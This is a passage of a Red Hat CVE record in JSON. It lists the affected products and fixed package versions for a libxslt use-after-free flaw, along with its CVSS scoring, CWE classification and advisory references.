            "cpe:/a:redhat:rhel_aus:8.2::appstream",
            "cpe:/o:redhat:rhel_aus:8.2::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.2 Advanced Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-9.el8_2.4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_aus:8.4::appstream",
            "cpe:/a:redhat:rhel_eus_long_life:8.4::appstream",
            "cpe:/o:redhat:rhel_aus:8.4::baseos",
            "cpe:/o:redhat:rhel_eus_long_life:8.4::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-9.el8_4.7",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_aus:8.4::appstream",
            "cpe:/a:redhat:rhel_eus_long_life:8.4::appstream",
            "cpe:/o:redhat:rhel_aus:8.4::baseos",
            "cpe:/o:redhat:rhel_eus_long_life:8.4::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-9.el8_4.7",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_aus:8.6::appstream",
            "cpe:/a:redhat:rhel_e4s:8.6::appstream",
            "cpe:/a:redhat:rhel_tus:8.6::appstream",
            "cpe:/o:redhat:rhel_aus:8.6::baseos",
            "cpe:/o:redhat:rhel_e4s:8.6::baseos",
            "cpe:/o:redhat:rhel_tus:8.6::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-13.el8_6.11",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_aus:8.6::appstream",
            "cpe:/a:redhat:rhel_e4s:8.6::appstream",
            "cpe:/a:redhat:rhel_tus:8.6::appstream",
            "cpe:/o:redhat:rhel_aus:8.6::baseos",
            "cpe:/o:redhat:rhel_e4s:8.6::baseos",
            "cpe:/o:redhat:rhel_tus:8.6::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.6 Telecommunications Update Service",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-13.el8_6.11",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_aus:8.6::appstream",
            "cpe:/a:redhat:rhel_e4s:8.6::appstream",
            "cpe:/a:redhat:rhel_tus:8.6::appstream",
            "cpe:/o:redhat:rhel_aus:8.6::baseos",
            "cpe:/o:redhat:rhel_e4s:8.6::baseos",
            "cpe:/o:redhat:rhel_tus:8.6::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-13.el8_6.11",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_e4s:8.8::appstream",
            "cpe:/a:redhat:rhel_tus:8.8::appstream",
            "cpe:/o:redhat:rhel_e4s:8.8::baseos",
            "cpe:/o:redhat:rhel_tus:8.8::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.8 Telecommunications Update Service",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-16.el8_8.10",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_e4s:8.8::appstream",
            "cpe:/a:redhat:rhel_tus:8.8::appstream",
            "cpe:/o:redhat:rhel_e4s:8.8::baseos",
            "cpe:/o:redhat:rhel_tus:8.8::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-16.el8_8.10",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:9::appstream",
            "cpe:/o:redhat:enterprise_linux:9::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.13-11.el9_6",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:9::appstream",
            "cpe:/o:redhat:enterprise_linux:9::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.13-11.el9_6",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_e4s:9.0::appstream",
            "cpe:/o:redhat:rhel_e4s:9.0::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.13-1.el9_0.6",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_e4s:9.2::appstream",
            "cpe:/o:redhat:rhel_e4s:9.2::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.13-3.el9_2.8",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_eus:9.4::appstream",
            "cpe:/o:redhat:rhel_eus:9.4::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 9.4 Extended Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.13-11.el9_4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.12::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.12",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "412.86.202509030110-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.13::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.13",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "413.92.202509030117-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.14::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.14",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "414.92.202508270040-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.15::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.15",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "415.92.202508192014-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.16::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.16",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "416.94.202508261955-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.17::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.17",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "417.94.202508141510-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.18::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.18",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "418.94.202508261658-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:openshift:4.19::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "rhcos",
          "product": "Red Hat OpenShift Container Platform 4.19",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "4.19.9.6.202508271124-0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:webterminal:1.11::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "web-terminal/web-terminal-rhel9-operator",
          "product": "Red Hat Web Terminal 1.11 on RHEL 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.11-19",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:webterminal:1.11::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "web-terminal/web-terminal-tooling-rhel9",
          "product": "Red Hat Web Terminal 1.11 on RHEL 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.11-8",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:webterminal:1.12::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "web-terminal/web-terminal-tooling-rhel9",
          "product": "Red Hat Web Terminal 1.12 on RHEL 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.12-4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-data-index-ephemeral-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-11",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-data-index-postgresql-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-11",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-db-migrator-tool-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-11",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-jobs-service-ephemeral-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-10",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-jobs-service-postgresql-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-10",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-kn-workflow-cli-artifacts-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-management-console-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-9",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-rhel8-operator",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-18",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-swf-builder-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-11",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_serverless:1.36::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "openshift-serverless-1/logic-swf-devmode-rhel8",
          "product": "RHOSS-1.36-RHEL-8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.36.0-7",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:cert_manager:1.16::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "cert-manager/jetstack-cert-manager-rhel9",
          "product": "cert-manager operator for Red Hat OpenShift 1.16",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "v1.16.5-1760515757",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_file_integrity_operator:1::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "compliance/openshift-file-integrity-rhel8-operator",
          "product": "File Integrity Operator 1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "v1.3",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_compliance_operator:1::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "compliance/openshift-compliance-must-gather-rhel8",
          "product": "OpenShift Compliance Operator 1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.8.0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_compliance_operator:1::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "compliance/openshift-compliance-openscap-rhel8",
          "product": "OpenShift Compliance Operator 1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.8.0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_compliance_operator:1::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "compliance/openshift-compliance-rhel8-operator",
          "product": "OpenShift Compliance Operator 1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.8.0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:discovery:2::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "discovery/discovery-server-rhel9",
          "product": "Red Hat Discovery 2",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "2.0.1-1754478727",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:hummingbird:1"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2-main",
          "product": "Red Hat Hardened Images",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "2.15.3-0.1.hum1",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:insights_proxy:1.5::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "insights-proxy/insights-proxy-container-rhel9",
          "product": "Red Hat Insights proxy 1.5",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1.5.5-1754504343",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-agent-rhel8",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559657",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-all-in-one-rhel8",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559845",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-collector-rhel8",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559691",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-es-index-cleaner-rhel8",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559660",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-es-rollover-rhel8",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559663",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-ingester-rhel8",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559657",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-operator-bundle",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754569861",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-query-rhel8",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559846",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_distributed_tracing:3.5::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "rhosdt/jaeger-rhel8-operator",
          "product": "Red Hat OpenShift distributed tracing 3.5.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "rhosdt-3.5-1754559651",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:6"
          ],
          "defaultStatus": "unknown",
          "packageName": "libxslt",
          "product": "Red Hat Enterprise Linux 6",
          "vendor": "Red Hat"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Red Hat would like to thank Sergei Glazunov (Google Project Zero) for reporting this issue."
        }
      ],
      "datePublic": "2025-07-10T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "namespace": "https://access.redhat.com/security/updates/classification/",
              "value": "Important"
            },
            "type": "Red Hat severity rating"
          }
        },
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-30T16:05:29.983Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "name": "RHBA-2025:12345",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHBA-2025:12345"
        },
        {
          "name": "RHSA-2025:12447",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:12447"
        },
        {
          "name": "RHSA-2025:12450",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:12450"
        },
        {
          "name": "RHSA-2025:13267",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13267"
        },
        {
          "name": "RHSA-2025:13308",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13308"
        },
        {
          "name": "RHSA-2025:13309",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13309"
        },
        {
          "name": "RHSA-2025:13310",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13310"
        },
        {
          "name": "RHSA-2025:13311",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13311"
        },
        {
          "name": "RHSA-2025:13312",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13312"
        },
        {
          "name": "RHSA-2025:13313",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13313"
        },
        {
          "name": "RHSA-2025:13314",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13314"
        },
        {
          "name": "RHSA-2025:13335",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13335"
        },
        {
          "name": "RHSA-2025:13464",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13464"
        },
        {
          "name": "RHSA-2025:13622",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:13622"
        },
        {
          "name": "RHSA-2025:14059",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:14059"
        },
        {
          "name": "RHSA-2025:14396",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:14396"
        },
        {
          "name": "RHSA-2025:14818",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:14818"
        },
        {
          "name": "RHSA-2025:14819",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:14819"
        },
        {
          "name": "RHSA-2025:14853",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2025:14853"
        },
        {
          "name": "RHSA-2025:14858",
          "tags": [
